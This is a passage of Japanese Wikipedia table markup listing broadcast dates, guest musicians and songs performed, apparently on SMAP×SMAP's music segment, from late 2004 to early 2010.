|-
!
|11月22日
|
|[[世界に一つだけの花]]
|Five Night Classic's 第4夜 (木村選曲)
|-
!
|11月29日
|
|[[らいおんハート|オレンジ]]
|Five Night Classic's 第5夜 (中居選曲)
|-
!
|12月6日
|[[m-flo]] & [[YOSHIKA]]
|[[Let go (m-floの曲)|let go]] / living large / [[セロリ (曲)|セロリ]]
|
|-
!
|12月13日
|[[織田裕二]]
|[[ラスト・クリスマス (ワム!の曲)|Last Christmas]]
|
|-
!
|12月20日
|[[EXILE]]
|[[HERO (EXILEの曲)|HERO]] / [[ハッピー・クリスマス(戦争は終った)|HAPPY X'MAS (War Is Over)]] / らいおんハート /
[[サンタが街にやってくる|SANTA CLAUS IS COMIN' TO TOWN]] / [[Choo Choo TRAIN (EXILEのシングル)|Choo Choo TRAIN]]
|
|-
!
|12月27日
|[[Ryu (歌手)|Ryu]] & [[Zero (歌手)|Zero]]
|[[モーメント/最初から今まで|最初から今まで]] / 約束 / [[夜空ノムコウ]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2005年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月17日||
|[[友だちへ〜Say What You Will〜|友だちへ~Say What You Will~]]
|
|-
!
|1月24日
|
|友だちへ~Say What You Will~
|
|-
!
|1月31日
|
|友だちへ~Say What You Will~||
|-
!
|2月7日||
|友だちへ~Say What You Will~||
|-
!
|2月14日
|
|友だちへ~Say What You Will~
|
|-
!
|2月21日
|
|友だちへ~Say What You Will~
|
|-
!
|2月28日
|
|友だちへ~Say What You Will~
|
|-
!
|3月7日
|[[aiko]]
|[[ボーイフレンド (aikoの曲)|ボーイフレンド]] / [[君は君だよ]] / [[三国駅 (aikoの曲)|三国駅]]
|
|-
!
|3月21日
|[[イルカ (歌手)|イルカ]]
|[[なごり雪]]
|
|-
!
|4月4日
|[[氣志團]]
|[[One Night Carnival]] / [[SHAKE (SMAPの曲)|SHAKE]] / [[夢見る頃を過ぎても (氣志團の曲)|夢見る頃を過ぎても]]
|
|-
!
|4月18日
|
|友だちへ~Say What You Will~
|
|-
!
|4月25日
|
|友だちへ~Say What You Will~
|
|-
!
|5月9日
|[[南こうせつ]]
|[[神田川 (曲)|神田川]]
|
|-
!
|5月16日
|[[Crystal Kay]]
|[[恋におちたら (Crystal Kayの曲)|恋におちたら]] / [[Hey Hey おおきに毎度あり]]
|
|-
!
|5月30日
|[[甲斐よしひろ]]
|[[HERO(ヒーローになる時、それは今)|HERO~ヒーローになる時、それは今]]
|
|-
!
|6月6日
|[[太田裕美]]
|[[木綿のハンカチーフ]]
|
|-
!
|6月13日
|[[森山直太朗]]
|[[小さな恋の夕間暮れ]] / 君は君だよ / [[さくら (森山直太朗の曲)|さくら]]
|
|-
!
|6月20日
|[[東京スカパラダイスオーケストラ]]
|[[美しく燃える森]] / [[世界地図 (東京スカパラダイスオーケストラの曲)|世界地図~Map of the World~]] / [[世界に一つだけの花]]
|
|-
!
|6月27日
|[[バックストリート・ボーイズ|Backstreet Boys]]
|[[:en:Incomplete_(Backstreet_Boys_song)|Incomplete]] / [[アイ・ウォント・イット・ザット・ウェイ|I Want it That Way]]
|
|-
!
|7月18日
|
|[[BANG! BANG! バカンス!]]
|
|-
!
|7月25日
|
|BANG! BANG! バカンス! (Music Video)
|
|-
!
|8月1日
|
|BANG! BANG! バカンス!
|
|-
!
|8月8日
|
|BANG! BANG! バカンス!
|
|-
!
|8月15日
|
|BANG! BANG! バカンス!
|
|-
!
|8月22日
|
|[[SAMPLE BANG!|夏楽園 ~clap your hands~]]
|
|-
!
|8月29日
|
|BANG! BANG! バカンス!
|
|-
!
|9月5日
|
|[[BANG! BANG! バカンス!|優しい言葉]]
|
|-
!
|9月12日
|
|[[SAMPLE BANG!|Dawn]]
|
|-
!
|9月19日
|
|世界に一つだけの花
|
|-
! rowspan="2" |
| rowspan="2" |9月26日
|
|[[SAMPLE BANG!|ハヌン~ヨン ウォナン サラン~]]
|
|-
|[[宮沢和史]]
|[[島唄 (THE BOOM)|島唄]] / [[SAMPLE BANG!|僕の太陽]]
|
|-
!
|10月17日
|[[倖田來未]]
|[[キューティーハニー (曲)|キューティーハニー]] / [[Promise/Star|Promiss]]
|
|-
!
|10月24日
|[[O-Zone|O-ZONE]]
|[[恋のマイアヒ|Diagostea Din Tei]]
|
|-
!
|10月31日
|[[平井堅]]
|[[瞳をとじて]] / [[胸さわぎを頼むよ]] / [[POP STAR]]
|
|-
!
|11月7日
|[[ばんばひろふみ]]
|[[『いちご白書』をもう一度|「いちご白書」をもう一度]]
|
|-
!
|11月14日
|
|[[SAMPLE BANG!|It's wonderful world.]]
|
|-
! rowspan="2" |
| rowspan="2" |11月21日
|
|[[Triangle (SMAPの曲)|Triangle]] (Music Video)
|
|-
|[[CHEMISTRY]]
|[[Point of No Return/君をさがしてた 〜The Wedding Song〜|Point of No Return]] / [[Almost in love|almost in Love]]
|
|-
! rowspan="2" |
| rowspan="2" |11月28日
|
|Triangle
|
|-
|[[近藤真彦]]
|[[ギンギラギンにさりげなく]] / [[あぁ、グッと]] / [[ハイティーン・ブギ (曲)|ハイティーン・ブギ]] / [[アンダルシアに憧れて]] /
[[スニーカーぶる〜す|スニーカーぶる~す]] / [[Baby Rose]] / 挑戦者
|
|-
! rowspan="2" |
| rowspan="2" |12月12日
|
|Triangle
|
|-
|[[一青窈]]
|[[ハナミズキ (曲)|ハナミズキ]] / [[かざぐるま (一青窈の曲)|かざぐるま]]
|
|-
!
|12月19日
|
|聖なる夜に5色の天使が舞い降りるSMAP X'masメドレー [[友だちへ〜Say What You Will〜|Song of X'smap]] / [[WE WISH YOU A MERRY CHRISTMAS|We Wish You A Merry Christmas]] / Triangle
|
|-
!
|12月26日
|
|[[らいおんハート]] / SHAKE / [[夜空ノムコウ]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2006年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月9日||
|[[Triangle (SMAPの曲)|Triangle]]
|
|-
!
|1月16日
|
|[[Triangle (SMAPの曲)|Piece of world]]
|
|-
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|1月23日
|
|Triangle||
|-
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|1月30日||[[アース・ウィンド・アンド・ファイアー|EARTH, WIND&FIRE]]
|PURE GOLD / [[セプテンバー (EW&Fの曲)|SEPTEMBER]]||
|-
!
|2月6日
|
|Triangle
|
|-
!
|2月13日
|[[TRF]]
|[[寒い夜だから…]] / [[Survival dAnce 〜no no cry more〜|survival dAnce~no no cry more~]] / [[Where to begin]]
|
|-
!
|2月20日
|[[山本潤子]]
|[[翼をください]]
|
|-
!
|3月6日
|[[MONKEY MAJIK]]
|[[Around The World (MONKEY MAJIKの曲)|Around The World]]
|
|-
!
|3月13日
|[[堺正章]]
|[[さらば恋人]]
|
|-
!
|3月20日
|[[伊勢正三]]
|[[22才の別れ]]
|
|-
!
|3月27日
|[[クレイジーケンバンド]]
|ハンサムなプレイボーイ / 葉山ツイスト / [[GT (クレイジーケンバンドの曲)|GT]] / Let's Go! Crazy Ken Band / [[タイガー&ドラゴン (曲)|タイガー&ドラゴン]] /
中華街大作戦 / Sweet Seoul Tripper / [[Soul Punch|流星ドライブ]] / [[SAMPLE BANG!|退屈な日曜日]]
|
|-
!
|4月3日
|[[渡辺美里]]
|[[My Revolution]]
|
|-
!
|4月17日
|
|[[Dear WOMAN]]
|
|-
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|4月24日
|
|Dear WOMAN (Music Video)
|
|-
! rowspan="2" |
| rowspan="2" |5月1日
|
|Dear WOMAN
|
|-
|[[Def Tech]]
|[[My Way (Def Techの曲)|My Way]] / [[Catch The Wave]]
|
|-
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|5月8日
|
|[[Dear WOMAN|buzzer beater]]
|
|-
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|5月15日
|
|Dear WOMAN
|
|-
!
|5月22日
|[[松任谷由実]]
|[[A GIRL IN SUMMER|海に来て]] / [[Hello, my friend]] / カンナ8号線 / サーフ天国、スキー天国 / [[A GIRL IN SUMMER|哀しみのルート16]] / [[真夏の夜の夢 (松任谷由実の曲)|真夏の夜の夢]]
|
|-
!
|5月29日
|
|buzzer beater
|
|-
!
|6月5日
|[[安室奈美恵]]
|[[Don't wanna cry]] / [[GIRL TALK/the SPEED STAR|GIRL TALK]] / [[a walk in the park]] / [[CAN'T SLEEP, CAN'T EAT, I'M SICK/人魚|CAN'T SLEEP, CAN'T EAT, I'M SICK]] / [[SHAKE (SMAPの曲)|SHAKE]]
|
|-
!
|6月19日
|[[松山千春]]
|[[長い夜 (松山千春の曲)|長い夜]] / [[人生の空から]] / [[君のために作った歌|銀の雨]] / [[君のために作った歌|大空と大地の中で]]
|
|-
!
|6月26日
|[[倖田來未]]
|[[恋のつぼみ]] / [[Butterfly (倖田來未の曲)|Butterfly]] / [[らいおんハート]]
|
|-
!
|7月10日
|[[久保田利伸]] & [[SunMin]]
|[[LA・LA・LA LOVE SONG]] / [[SunMin|Keep Holding U]] / [[胸さわぎを頼むよ]]
|
|-
!
|7月24日
|
|[[Pop Up! SMAP|Nai Yai Yai]]
|
|-
!
|7月31日
|blast!
|Swing Swing Swing / [[がんばりましょう]]
|
|-
!
|8月7日
|
|Nai Yai Yai
|
|-
!
|8月14日
|[[ゴダイゴ]]
|[[MONKEY MAGIC 2006]] / [[銀河鉄道999 (ゴダイゴの曲)|THE GALAXY EXPRESS 999]]
|
|-
!
|8月21日
|
|[[Pop Up! SMAP|Simple]]
|
|-
!
|8月28日
|
|[[Pop Up! SMAP|TAKE OFF]]
|
|-
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|9月4日
|
|[[Pop Up! SMAP|星空の下で]]
|
|-
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|9月11日
|
|Dear WOMAN
|
|-
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|9月18日
|
|[[ありがとう (SMAPの曲)|ありがとう]]
|
|-
!
|10月16日
|
|ありがとう (Music Video)
|
|-
!
|10月23日
|[[サディスティック・ミカ・バンド]]
|タイムマシンにおねがい / Big-Bang,Bang!~愛的相対性理論
|
|-
!
|10月30日
|
|ありがとう
|
|-
!
|11月6日
|[[セルジオ・メンデス]]
|MAS QUE NADA
|
|-
!
|11月13日
|
|ありがとう
|
|-
!
|11月27日
|[[ジャスティン・ティンバーレイク|Justin Timberlake]]
|SEXY BACK / ROCK YOUR BODY
|
|-
!
|12月4日
|
|ありがとう
|
|-
!
|12月11日
|
|ありがとう
|
|-
!
|12月18日
|[[ダニエル・パウター|Daniel Powter]]
|[[ダニエル・パウター (アルバム)|Love You Lately]] / [[バッド・デイ〜ついてない日の応援歌|Bad Day]]
|
|-
!
|12月25日
|
|ありがとう / [[友だちへ〜Say What You Will〜|Song of X'smap]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2007年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月1日||[[近藤真彦]],[[少年隊]]
|Baby Baby Baby / [[ABC (少年隊の曲)|ABC]] / [[FUNKY FLUSHIN'#カバー|FUNKY FLUSHIN']] / [[デカメロン伝説]] / [[君だけに]] / Baby Baby Baby / [[仮面舞踏会 (少年隊の曲)|仮面舞踏会]] / [[想 SOH/自分で選んだ明日をゆく|想 SOH]] /
[[ギンギラギンにさりげなく]] / [[ケジメなさい]] / [[ふられてBANZAI]] / [[上海慕情/情熱ナミダ|上海慕情]] / [[ミッドナイト・シャッフル]] / [[がんばりましょう]]
|
|-
!
|1月15日
|
|[[ありがとう (SMAPの曲)|ありがとう]]
|
|-
!
|1月22日
|[[スタイリスティックス|The Stylistics]]
|Can't give you anything(But my love) ~愛がすべて~||
|-
!
|1月29日||
|[[ありがとう (SMAPの曲)|show your smile]]||
|-
!
|2月5日
|
|ありがとう
|
|-
!
|2月12日
|
|[[らいおんハート|オレンジ]]
|
|-
!
|2月19日
|
|[[夜空ノムコウ]]
|
|-
!
|2月26日
|[[浜崎あゆみ]]
|[[Voyage (浜崎あゆみの曲)|Voyage]] / [[UNITE!]] / [[$10 (曲)|$10]]
|
|-
!
|3月5日
|
|[[オリジナル スマイル]]
|
|-
!
|3月12日
|[[スティーヴィー・ワンダー|Stevie Wonder]]
|From The Bottom Of My Heart / [[心の愛|I Just Called To Say I Love You]]
|
|-
!
|3月19日
|
|ありがとう
|
|-
!
|4月16日
|FloorPlay
|[[ダイナマイト (SMAPの曲)|ダイナマイト]]
|
|-
!
|4月23日
|
|[[Mermaid (SMAPの曲)|Mermaid]]
|
|-
!
|4月30日
|コブクロ
|[[桜 (コブクロの曲)|桜]] / [[蕾 (コブクロの曲)|蕾]]
|
|-
!
|5月7日
|
|がんばりましょう
|
|-
!
|5月14日
|[[EPO]]
|[[DOWN TOWN#「DOWN TOWN」カバー|DOWN TOWN]] / [[う、ふ、ふ、ふ、|う、ふ、ふ、ふ]]
|
|-
!
|5月21日
|[[郷ひろみ]]
|[[2億4千万の瞳|2億4千万の瞳~エキゾチック・ジャパン~]] / [[GOLDFINGER '99|GOLDFINGER' 01]] / [[Boom Boom Boom/Come On Baby|Boom Boom Boom]]
|
|-
!
|5月28日
|
|[[旅立ちの日に]]
|
|-
!
|6月4日
|The Temptations & The Supremes
|You Can't Hurry Love / My Girl
|
|-
!
|6月18日
|[[堀内孝雄]]
|[[君のひとみは10000ボルト]]
|
|-
!
|6月25日
|[[杏里]]
|[[オリビアを聴きながら]]
|
|-
!
|7月9日
|[[徳永英明]]
|[[壊れかけのRadio]]
|
|-
!
|7月16日
|[[MONKEY MAJIK]]
|[[Monkey Magic#カバー|MONKEY MAGIC]] / [[ガンダーラ (曲)|ガンダーラ]] / [[Around The World (MONKEY MAJIKの曲)|Around the world]]
|
|-
!
|7月23日
|
|[[BANG! BANG! バカンス!]]
|
|-
!
|8月6日
|[[BONNIE PINK]]
|[[Heaven's Kitchen (BONNIE PINKの曲)|Heaven's Kitchen]] / [[A Perfect Sky]] / [[Water Me]]
|
|-
!
|8月13日
|[[ザ・ベンチャーズ|The Ventures]]
|[[急がば廻れ|Walk Don't Run]] / [[パイプライン (曲)|PIPE LINE]] / [[俺たちに明日はある]]
|
|-
!
|8月20日
|
|[[Can't Stop!! -LOVING-|SMAP No.5]]
|
|-
!
|8月27日
|ナイルロージャス & [[シック (バンド)|シック]]
|LE FREAK
|
|-
!
|9月3日
|[[和幸 (ユニット)|和幸]]
|バラバラふたり / [[帰って来たヨッパライ]] / [[あの素晴しい愛をもう一度]]
|
|-
!
|9月10日
|[[CHARA|Chara]]
|[[Swallowtail Butterfly 〜あいのうた〜|Swallowtail Butterfly ~あいのうた~]] / [[やさしい気持ち]] / Cherry Cherry
|
|-
!
|9月17日
|[[ブラック・アイド・ピーズ|BLACK EYED PEAS]]
|I Got It From My Mama / WHERE IS THE LOVE?
|
|-
!
|9月24日
|[[あみん]]
|[[待つわ]] / [[夢をあきらめないで]] / [[ひまわり/待つわ'07|ひまわり]]
|
|-
!
|10月8日
|宝塚歌劇団
|愛あればこそ / アマール・アマール / [[再び白いライラックが咲いたら (曲)|すみれの花咲く頃]] / [[ボレロ (ショパン)|ボレロ]] / [[世界に一つだけの花]]
|
|-
!
|10月15日
|
|[[どんないいこと]]
|
|-
!
|10月22日
|[[TRF]]
|[[Trf 〜THIS IS THE TRUTH〜|THIS IS THE JOY]] / [[Unite! The Night!]] / [[CRAZY GONNA CRAZY|Crazy Gonna Crazy]] / [[EZ DO DANCE]] / [[Survival dAnce 〜no no cry more〜|survival dAnce]] / [[iNNOVATiON]]
|
|-
!
|10月29日
|[[アヴリル・ラヴィーン|Avril Lavigne]]
|When You're Gone / [[ガールフレンド (アヴリル・ラヴィーンの曲)|Girlfriend]]
|
|-
!
|11月5日
|GUILD9
|[[あんたのバラード]] / [[燃えろいい女]]
|
|-
!
|11月12日
|[[バックストリート・ボーイズ|Backstreet Boys]]
|[[インコンソーラブル|INCONSOLABLE]] / [[:en:Shape_of_My_Heart_(Backstreet_Boys_song)|Shape Of My Heart]]
|
|-
!
|11月19日
|[[ジェームス・ブラント|James Blunt]]
|[[ユア・ビューティフル|You're Beautiful]] / 1973
|
|-
!
|11月26日
|[[米米CLUB]]
|[[君がいるだけで/愛してる|君がいるだけで]] / [[つ・よ・が・り|俺たちの想い]] / [[浪漫飛行]] / [[Shake Hip!]]
|
|-
! rowspan="2" |
| rowspan="2" |12月3日
|
|[[弾丸ファイター]] (Music Video)
|
|-
|[[EXILE]]
|[[Choo Choo TRAIN (EXILEのシングル)|Choo Choo TRAIN]] / [[WON'T BE LONG]] / [[Lovers Again]] / [[I Believe (EXILEの曲)|I Believe]]
|
|-
! rowspan="2" |
| rowspan="2" |12月10日
|
|弾丸ファイター
|
|-
|[[忌野清志郎]]
|[[入門編 (アルバム)|毎日がブランニューデイ]] / [[雨あがりの夜空に]]
|
|-
!
|12月17日
|
|弾丸ファイター
|
|-
! rowspan="2" |
| rowspan="2" |12月24日
|
|[[弾丸ファイター|Christmas Night]]
|
|-
|[[秋川雅史]]
|[[WE WISH YOU A MERRY CHRISTMAS|We Wish You A Merry Christmas]] / [[アヴェ・マリア (グノー)|Ave Maria]] / [[ホワイト・クリスマス (曲)|White Christmas]] / [[千の風になって (秋川雅史のシングル)|千の風になって]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2008年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月14日||
|[[弾丸ファイター]]
|
|-
!
|1月21日
|
|弾丸ファイター
|
|-
!
|1月28日
|[[奥田民生]]
|[[愛のために]] / [[無限の風]] / [[さすらい (奥田民生の曲)|さすらい]]||
|-
!
|2月4日||[[クリストファー・クロス]]
|Authur's Theme (Bost THAT You Can Do)||
|-
!
|2月11日
|[[カイリー・ミノーグ]]
|[[ラッキー・ラヴ|I Should Be So Lucky]] / [[2・ハーツ|2 Hearts]] / [[熱く胸を焦がして|Can't Get You Out Of My Heart]]
|
|-
!
|2月18日
|[[JUN SKY WALKER(S)]]
|[[歩いていこう (JUN SKY WALKER(S)の曲)|歩いていこう]] / すてきな夜空
|
|-
!
|2月25日
|[[ドラリオン]]
|[[Triangle (SMAPの曲)|Triangle]]
|
|-
!
|3月3日
|
|[[そのまま/White Message|そのまま]] (Music Video)
|
|-
!
|3月10日
|
|[[そのまま/White Message|White Message]]
|
|-
!
|3月17日
|
|そのまま
|
|-
! rowspan="2" |
| rowspan="2" |3月24日
|
|そのまま
|
|-
|[[TOTO (バンド)|TOTO]]
|[[アフリカ (TOTOの曲)|AFRICA]] / [[ロザーナ・デロリオス|ROSANNA]] / [[フォーリング・イン・ビトゥイーン|Bottom Of Your Soul]]
|
|-
!
|3月31日
|[[杉並児童合唱団]]
|そのまま / [[旅立ちの日に]]
|
|-
!
|4月14日
|[[宇多田ヒカル]]
|[[青いイナズマ]] / [[Flavor Of Life]] / [[ぼくはくま]] / [[Can You Keep A Secret?]] / [[traveling (宇多田ヒカルの曲)|traveling]] / [[SHAKE (SMAPの曲)|SHAKE]] / [[Prisoner Of Love]]
|
|-
!
|4月21日
|
|''SMAP×SMAP 名曲歌謡祭''
# [[HERO(ヒーローになる時、それは今)|HERO~ヒーローになる時、それは今]] / [[甲斐よしひろ]]
# [[CAT'S EYE (杏里の曲)|CAT'S EYE]] / [[杏里]]
# [[Runner (爆風スランプの曲)|Runner]] / [[爆風スランプ]]
# [[恋におちて -Fall in love-]] / [[小林明子]]
# [[Get Wild]] / [[TM NETWORK|TM Network]]
# [[恋人よ (五輪真弓の曲)|恋人よ]] / [[五輪真弓]]
# [[浪漫飛行]] / [[米米CLUB]]
# [[う、ふ、ふ、ふ、|う・ふ・ふ・ふ]] / [[EPO]]
# [[ハリウッド・スキャンダル]] / [[郷ひろみ]]
# [[林檎殺人事件]] / 郷ひろみ
# [[ロックバルーンは99]] / [[ネーナ|NENA]]
# [[女ぎつねon the Run]] / [[BARBEE BOYS|バービーボーイズ]]
# [[卒業 (斉藤由貴の曲)|卒業]] / [[斉藤由貴]]
# [[Missing (久保田利伸の曲)|Missing]] / [[久保田利伸]]
# [[LA・LA・LA LOVE SONG]] / 久保田利伸
# [[夜空ノムコウ]] / 久保田利伸
|
|-
!
|5月12日
|[[スウィング・アウト・シスター|Swing Out Sister]]
|[[ブレイクアウト (スウィング・アウト・シスターの曲)|Breakout]]
|
|-
!
|5月19日
|[[青山テルマ]]
|[[らいおんハート]] / [[そばにいるね (青山テルマの曲)|そばにいるね]]
|
|-
!
|5月26日
|[[ABBA|ABBA GOLD]]
|[[マンマ・ミーア!|Manmma Mia]] / Gimme! Gimme! Gimme! / [[ダンシング・クイーン|Dancing Queen]]
|
|-
!
|6月2日
|[[マライア・キャリー]]
|HERO / [[タッチ・マイ・ボディ|TOUCH MY BODY]]
|
|-
!
|6月9日
|[[水谷豊]]
|[[カリフォルニア・コネクション]]
|
|-
!
|6月16日
|[[Perfume]]
|[[ポリリズム (Perfumeの曲)|ポリリズム]] / 夜空ノムコウ
|
|-
!
|6月23日
|[[吉田兄弟]]
|鼓動 / [[ダイナマイト (SMAPの曲)|ダイナマイト]]
|
|-
!
|6月30日
|[[鈴木雅之 (歌手)|鈴木雅之]]&[[菊池桃子]]
|[[渋谷で5時]]
|
|-
!
|7月7日
|[[ブルーマン|Blue Man Group]]
|青いイナズマ
|
|-
!
|7月14日
|[[もんた&ブラザーズ]]
|[[ダンシング・オールナイト]]
|
|-
!
|7月21日
|[[MICA 3 CHU]]
|[[I DON'T KNOW (MICA 3 CHUの曲)|I DON'T KNOW]] / [[俺たちに明日はある]]
|
|-
!
|8月11日
|
|[[この瞬間、きっと夢じゃない]] (Music Video)
|
|-
! rowspan="2" |
| rowspan="2" |8月18日
|
|この瞬間、きっと夢じゃない
|
|-
|[[TUBE]]
|[[Paradiso 〜愛の迷宮〜|Paradiso ~愛の迷宮]] / [[シーズン・イン・ザ・サン (TUBEの曲)|シーズン・イン・ザ・サン]] / [[あー夏休み]] / [[さよならイエスタデイ]] / [[BANG! BANG! バカンス!]]
|
|-
!
|8月25日
|
|この瞬間、きっと夢じゃない
|
|-
!
|9月1日
|
|この瞬間、きっと夢じゃない
|
|-
!
|9月8日
|[[コールドプレイ|COLDPLAY]]
|[[美しき生命 (曲)|VIVA LA VIDA~美しき生命]]
|
|-
!
|9月15日
|
|ジュリアナSPメドレー
Can't Undo This / [[KANSHAして]] / James Brown is Dead / [[Hey Hey おおきに毎度あり]] / [[NIGHT OF FIRE|Night Of Fire]] /
[[はだかの王様 〜シブトクつよく〜|はだかの王様 ~シブトクつよく~]] / Infected / [[$10 (曲)|$10]] / Tokyo Go! / [[Dear WOMAN]]
|
|-
!
|9月22日
|
|[[Super.modern.artistic.performance|Still U]]
|
|-
!
|9月29日
|[[矢島美容室]]
|[[ニホンノミカタ -ネバダカラキマシタ-]]
|
|-
!
|10月20日
|
|[[Super.modern.artistic.performance|Jazz]]
|
|-
!
|10月27日
|[[和田アキ子]]
|[[古い日記]] / らいおんハート / [[あの鐘を鳴らすのはあなた]]
|
|-
!
|11月3日
|
|[[Super.modern.artistic.performance|はじまりのうた]]
|
|-
!
|11月10日
|[[松崎しげる]]
|[[愛のメモリー (曲)|愛のメモリー]]
|
|-
!
|11月17日
|[[キャロル・キング]]
|[[ロコ・モーション|The Loco-Motion]] / You've Got A Friend
|
|-
!
|11月24日
|[[GANGA ZUMBA]]
|足跡のない道 / [[風になりたい (THE BOOMの曲)|風になりたい]]
|
|-
!
|12月15日
|[[JUJU]]
|[[君のすべてに]]
|
|-
!
|12月22日
|
|''冬に聴きたい名曲歌謡祭''
# [[ロマンスの神様]] / [[広瀬香美]]&香取
# [[TRUE LOVE (藤井フミヤの曲)|TRUE LOVE]] / [[藤井フミヤ]]&木村
# [[クリスマスキャロルの頃には]] / [[稲垣潤一]]&稲垣
# [[CHA-CHA-CHA]] / [[石井明美]]&草彅
# [[PIECE OF MY WISH]] / [[今井美樹]]&SMAP
# [[PRIDE (今井美樹の曲)|PRIDE]] / 今井美樹&SMAP
# [[シングルベッド]] / [[シャ乱Q]]&草彅・香取
# [[翼の折れたエンジェル]] / [[中村あゆみ]]&木村・稲垣
# [[WON'T BE LONG]] / [[バブルガム・ブラザーズ]]&SMAP
# [[どんなときも。]] / [[槇原敬之]]&SMAP
# [[もう恋なんてしない]] / 槇原敬之&SMAP
# [[世界に一つだけの花]] / 槇原敬之&SMAP
|
|-
!
|12月29日
|[[レイ・パーカー・ジュニア|レイ・パーカーJr.]]
|[[ゴーストバスターズ|GHOST BUSTERS]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="6" |2009年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考!!視聴率
|-
!
|1月12日||
|[[がんばりましょう]]
|
|-
!
|1月19日
|
|[[夜空ノムコウ]]
|
|-
!
|1月26日
|[[ダニエル・パウター|ダニエル・パウダー]]
|Best Of Me||
|-
!
|2月2日||
|[[雪が降ってきた]]||
|-
!
|2月9日
|[[ベイ・シティ・ローラーズ|パット・マッグリン]]
|Saturday Night
|
|-
!
|2月16日
|[[ユニコーン (バンド)|ユニコーン]]
|[[WAO!]] / [[すばらしい日々]]
|
|-
!
|2月23日
|[[キマグレン]]
|[[LIFE (キマグレンの曲)|LIFE]]
|
|-
!
|3月2日
|[[東方神起]]
|[[Purple Line]] / [[どうして君を好きになってしまったんだろう?]]
|
|-
!
|3月9日
|
|[[どんないいこと]]
|
|-
!
|3月16日
|[[SPEED]]
|[[STEADY (SPEEDの曲)|STEADY]] / [[Body & Soul|BODY & SOUL]] / [[my graduation]]
|
|-
!
|4月20日
|[[ゆず (音楽グループ)|ゆず]]
|[[夏色]] / [[サヨナラバス]] / [[いつか (ゆずの曲)|いつか]] / [[友達の唄 (ゆずの曲)|友達の唄]] / [[逢いたい (ゆずの曲)|逢いたい]]
|
|-
!
|6月1日
|
|草彅剛 復帰LIVE
[[ありがとう (SMAPの曲)|ありがとう]] / [[SHAKE (SMAPの曲)|SHAKE]] / [[この瞬間、きっと夢じゃない]] / 夜空ノムコウ
|
|22.0%
|-
!
|6月8日
|[[MAX (音楽グループ)|MAX]]
|[[Give me a Shake]] / [[TORA TORA TORA]] / [[Ride on time (MAXの曲)|Ride on time]]
|
|-
!
|6月15日
|[[PUFFY]]
|[[Bring it!|ウエディング・ベル]]
|
|-
!
|6月22日
|[[ブラック・アイド・ピーズ|BLACK EYED PEAS]]
|[[Super.modern.artistic.performance|Theme of 019]] / [[ジ・エンド (ブラック・アイド・ピーズのアルバム)|I GOTTA FEELING]]
|
|-
!
|6月29日
|
|[[BANG! BANG! バカンス!]]
|
|-
!
|7月13日
|[[LINDBERG]]
|[[今すぐKiss Me]]
|
|-
!
|7月20日
|[[オルケスタ・デ・ラ・ルス]]
|SHAKE
|
|-
!
|7月27日
|[[木山裕策|木山祐策]]
|[[Home (木山裕策の曲)|home]]
|
|-
!
|8月3日
|
|[[こちら葛飾区亀有公園前派出所 (曲)|こちら葛飾区亀有公園前派出所]] ([[香取慎吾|両さん]])
|
|-
!
|8月10日
|[[Chage|CHAGE]]
|[[ふたりの愛ランド]]
|
|-
!
|8月17日
|
|[[そっと きゅっと/スーパースター★|そっと きゅっと]]
|
|-
!
|8月24日
|
|そっと きゅっと (Music Video)
|
|-
!
|8月31日
|
|[[そっと きゅっと/スーパースター★|スーパースター★]]
|
|-
!
|9月7日
|
|そっと きゅっと
|
|-
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|9月14日
|
|そっと きゅっと
|
|-
!
|9月21日
|[[Superfly]]
|[[Alright!!]]
|
|-
!
|9月28日
|[[ドゥービー・ブラザーズ|Doogie Brothers]]
|[[ロング・トレイン・ランニン|LONG TRAIN RUNNIN']]
|
|-
!
|10月19日
|[[エレファントカシマシ]]
|[[今宵の月のように]]
|
|-
!
|10月26日
|[[mihimaru GT]]
|[[気分上々↑↑]]
|
|-
!
|11月2日
|[[ボン・ジョヴィ|BON JOVI]]
|[[:en:We_Weren't_Born_to_Follow|We Weren't Born To Follow]] / [[イッツ・マイ・ライフ (ボン・ジョヴィの曲)|It's My Life]]
|
|-
!
|11月9日
|[[BEGIN (バンド)|BEGIN]]
|[[笑顔のまんま]]
|
|-
!
|11月16日
|[[ライオネル・リッチー]]
|[[セイ・ユー、セイ・ミー|Say You, Say Me]]
|
|-
!
|11月30日
|[[Every Little Thing]]
|[[Time goes by (Every Little Thingの曲)|Time goes by]]
|
|-
!
|12月7日
|[[オノ・ヨーコ]]
|[[ハッピー・クリスマス(戦争は終った)|Happy X'mas(War Is Over)]]
|
|-
!
|12月14日
|[[西野カナ]]
|[[君に会いたくなるから]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2010年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月4日||[[KAT-TUN]]
|[[SHAKE (SMAPの曲)|SHAKE]] / [[Real Face]] / [[世界に一つだけの花]]
|
|-
!
|1月18日
|[[マイケル・フォーチュナティ]]
|[[Give Me Up|GIVE ME UP]]
|
|-
!
|1月25日
|[[荻野目洋子]]
|[[ダンシング・ヒーロー (Eat You Up)|ダンシング・ヒーロー]]||
|-
!
|2月1日||[[木村カエラ]]
|[[5years|おどるポンポコリン]] / [[Butterfly (木村カエラの曲)|Butterfly]]||
|-
!
|2月8日
|[[FUNKY MONKEY BABYS]]
|[[桜 (FUNKY MONKEY BABYSの曲)|桜]]
|
|-
!
|2月15日
|[[Hilcrhyme]]
|[[春夏秋冬 (Hilcrhymeの曲)|春夏秋冬]]
|
|-
!
|2月22日
|[[坂本冬美]]
|[[また君に恋してる]]
|
|-
!
|3月1日
|[[沢田研二|ジュリー]]<nowiki/>with[[ザ・ワイルドワンズ]]
